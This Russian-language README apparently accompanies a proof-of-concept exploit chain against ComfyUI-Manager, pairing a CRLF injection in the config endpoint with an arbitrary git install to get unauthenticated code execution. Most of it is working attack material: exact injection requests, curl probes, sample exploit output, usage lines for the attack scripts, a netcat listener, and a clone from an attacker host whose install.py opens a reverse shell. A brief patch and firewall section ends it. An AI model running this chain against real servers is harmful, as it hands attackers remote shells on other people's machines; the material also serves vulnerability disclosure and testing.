
Эксплойт proof-of-concept, объединяющий CRLF-инъекцию в конечной точке конфигурации ComfyUI-Manager с установкой произвольного git для достижения неаутентифицированного удалённого выполнения кода.
Критичность: Критическая (CVSS 9.8) Затронуто: ComfyUI-Manager < 3.39.2 и 4.0.0 - 4.0.4 Исправлено в: ComfyUI-Manager 3.39.2 / 4.0.5 Сцеплено с: CVE-2025-67303 (Установка произвольного Git-репозитория -> Выполнение кода)
ComfyUI-Manager предоставляет эндпоинт /api/manager/db_mode, который принимает query-параметр value и записывает его напрямую в config.ini с помощью Python-модуля configparser.
Уязвимость представляет собой инъекцию одиночного символа возврата каретки (\r / %0D):
configparser сериализует значение дословно — \r сохраняется в файле как есть.\r как терминатор строки, разделяя одно значение на две отдельные INI-директивы.configparser с strict=False (значение по умолчанию в ComfyUI-Manager) принимает дублирующиеся ключи и использует последний. Внедрённый security_level = weak перезаписывает легитимное значение.После перезагрузки подделанная настройка вступает в силу, отключая аутентификационный шлюз на /api/customnode/install/git_url (CVE-2025-67303). Этот эндпоинт клонирует произвольный git-репозиторий и немедленно выполняет из него install.py как подпроцесс — что даёт неаутентифицированному атакующему полное выполнение кода.
Шаг 1 — Внедрение одиночного CR в эндпоинт конфигурации
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak
config.ini на диске после записи:
db_mode = cache\r
security_level = weak <- внедрено через %0D
Шаг 2 — Перезагрузка Manager для перечитывания подделанной конфигурации
GET /api/manager/reboot
Manager перечитывает config.ini; универсальные переводы строк разбивают значение;
побеждает последний ключ -> security_level = weak
Шаг 3 — Проверка шлюза (опрос до смены 403 на 400)
POST /api/customnode/install/git_url body: http://127.0.0.1/probe.git
403 = шлюз всё ещё закрыт
400 = шлюз открыт, security_level=weak подтверждён
Шаг 4 — Запуск установки из вредоносного git-репозитория (CVE-2025-67303)
POST /api/customnode/install/git_url
body: http://ATTACKER:9099/alg-upscaler.git
Manager выполняет:
git clone http://ATTACKER:9099/alg-upscaler.git
python install.py <- здесь выполняется reverse shell
| Файл | Назначение |
|---|---|
setup_evil_repo.sh | Собирает вредоносный git-репозиторий и раздаёт его по HTTP |
exploit_ad15.sh | Запускает полную цепочку: CRLF-инъекция -> перезагрузка -> проверка -> запуск |
autopwn.py | Python-альтернатива «всё в одном» (собирает репозиторий + запускает полную цепочку) |
Шаг 1 — Определение версии
curl -s http://TARGET:8188/api/manager/version
# Уязвимо: "3.39.1" / "4.0.3"
# Исправлено: "3.39.2" / "4.0.5"
Шаг 2 — Подтверждение, что CRLF-эндпоинт принимает значения
curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> эндпоинт существует и доступен для записи
Шаг 3 — Проверка шлюза установки
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://TARGET:8188/api/customnode/install/git_url \
-d "http://127.0.0.1/probe.git"
# 403 -> шлюз закрыт (конфигурация по умолчанию, цель уязвима для инъекции)
# 400 -> шлюз уже открыт (пропустить Фазу 1)
============================================================
CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
Target : http://192.168.1.10:8188
Attacker : 10.10.14.1:4444
Evil repo : http://10.10.14.1:9099/alg-upscaler.git
[*] Фаза 0: Определение версии
ComfyUI-Manager version: "3.39.1" <- уязвима
[*] Фаза 1: CRLF-инъекция -> security_level = weak
[+] Инъекция отправлена (HTTP 200)
config.ini теперь содержит:
db_mode = cache\r
security_level = weak <- внедрено через одиночный CR
[*] Фаза 2: Запуск перезагрузки
[+] Запрос на перезагрузку отправлен -- ожидание 30с перезапуска Manager...
[*] Фаза 3: Проверка шлюза безопасности
Попытка 1: HTTP 403 <- всё ещё перезагружается
Попытка 2: HTTP 403
Попытка 3: HTTP 400 <- шлюз открыт
[+] Шлюз ОТКРЫТ -- security_level=weak активен
[*] Фаза 4: Проверка доступности вредоносного git-репозитория
[+] Вредоносный репозиторий доступен (HTTP 200)
[*] Фаза 5: Запуск git-установки (CVE-2025-67303)
ComfyUI-Manager выполнит:
1. git clone http://10.10.14.1:9099/alg-upscaler.git
2. cd в клонированный каталог
3. python install.py <- здесь выполняется reverse shell
curl на Фазе 5 зависает — reverse shell приходит на nc -lvnp 4444.
| PoC из Vulhub | Этот PoC | |
|---|---|---|
install.py | touch /tmp/success (только доказательство выполнения) | Python reverse shell обратно на атакующего |
| Результат | Нет интерактивной оболочки | Полноценная интерактивная оболочка |
| PoC из Vulhub | Этот PoC | |
|---|---|---|
| Язык | Один Python-файл | Bash, 2 отдельных скрипта |
| Очистка | tempfile.TemporaryDirectory (автоудаление по Ctrl+C) | Вручную (остаётся на диске) |
| Имя репозитория | Случайное (например, evil-node-a1b2c3) | Фиксированное: alg-upscaler |
| PoC из Vulhub | Этот PoC | |
|---|---|---|
| CVE-2026-22777 (CRLF-инъекция) | Не включено | В exploit_ad15.sh Фаза 1 |
| Перезагрузка + проверка шлюза | Не включено | Ожидание 30с, затем опрос 403->400 |
| Запуск установки | Ручной curl | Автоматизировано в Фазе 5 |
Шаг 1 — Настройка вредоносного репозитория и слушателя (два терминала)
# Терминал 1 — слушатель
nc -lvnp 4444
# Терминал 2 — сборка и раздача вредоносного репозитория
bash setup_evil_repo.sh 10.10.14.1 4444
Шаг 2 — Запуск полной цепочки эксплойта
# Терминал 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444
Оболочка приходит в Терминал 1 после Фазы 5.
Альтернатива — Python «всё в одном»
# Слепая команда
python3 autopwn.py http://192.168.1.10:8188 --command "id"
# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444
Обновление (рекомендуется): ComfyUI-Manager 3.39.2 или 4.0.5+.
Патч удаляет \r и \n перед записью любого query-параметра в config.ini.
Сетевые меры защиты (если немедленное патчирование невозможно):
8188 на межсетевом экране — ComfyUI не предназначен для публичного доступа./api/manager/* и /api/customnode/*.config.ini доступным только для чтения: chmod 444 config.ini.